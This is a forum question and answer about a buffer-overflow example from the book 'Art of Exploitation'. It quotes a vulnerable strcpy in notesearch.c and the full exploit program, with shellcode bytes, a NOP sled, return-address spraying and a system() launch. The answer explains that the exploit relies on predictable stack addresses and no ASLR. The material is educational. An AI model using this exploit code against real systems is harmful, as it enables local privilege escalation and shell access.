security - buffer overflow example from Art of Exploitation book

Question

I was reading this book Art of Exploitation, which is kinda good book and I run across that example from exploit_notesearch.c file.

Briefly author tries to overflow program from notesearch.c

int main(int argc, char *argv[]) {
    int userid, printing=1, fd;
    char searchstring[100];
    if(argc > 1) // If there is an arg
        strcpy(searchstring, argv[1]);
    else // otherwise,
        searchstring[0] = 0;

The argument of the main function is copied to the searchstring array and if the argument is bigger than 100 bytes it will overflow the return address from the main function.

The author prepares the shellcode in exploit_notesearch.c and calls vulnerable notesearch.c

char shellcode[]=
"x31xc0x31xdbx31xc9x99xb0xa4xcdx80x6ax0bx58x51x68"
"x2fx2fx73x68x68x2fx62x69x6ex89xe3x51x89xe2x53x89"
"xe1xcdx80";

int main(int argc, char *argv[]) {

    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200);

    strcpy(command, "./notesearch '");
    buffer = command + strlen(command);

    ret = (unsigned int) &i - offset; // Set return address

    for(i=0; i < 160; i+=4) // Fill buffer with return address
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "'");

    system(command); //run exploit
}

You can see that shellcode is combined with NOP sled and return address which should point to that NOP sled. The author uses address of a local variable i as a point of reference and substracts 270 bytes thus trying figure out approximate location of NOP sled.

As I understand author assumes that stackframe of the main function from vulnerable notesearch.c will be in the same stack segment as stackframe of main function from exploit_notesearch.c. I assume this because only this way this manipulation with address of the local variable i can work.

But, the author calls vulnerable notesearch.c with the help of the system() like this system(command). My point is that this function system() somewhere inside uses fork() to spawn child process and after that uses exec() function to change image of the process. But if the image is changed it means that stack segment will be fresh and all those manipulations with address of local variable i in main function in exploit_notesearch.c will be useless, but somehow this exploit works which is completely confusing for me.

Answer 1

The author simply assumes that the C compiler will place the stacks of those two programs at the same (or very similar) virtual addresses and that the operating system will not perform address randomization (ASLR). This means that the stack frames of both main functions will be roughly at the same location, enabling this exploit.

This is not a very robust way of exploitation, as you can imagine (it will probably fail on most modern 64-bit systems). More robust exploits could use a form of return oriented programming or could try to utilize the existing char *argv pointer to the relevant stack frame.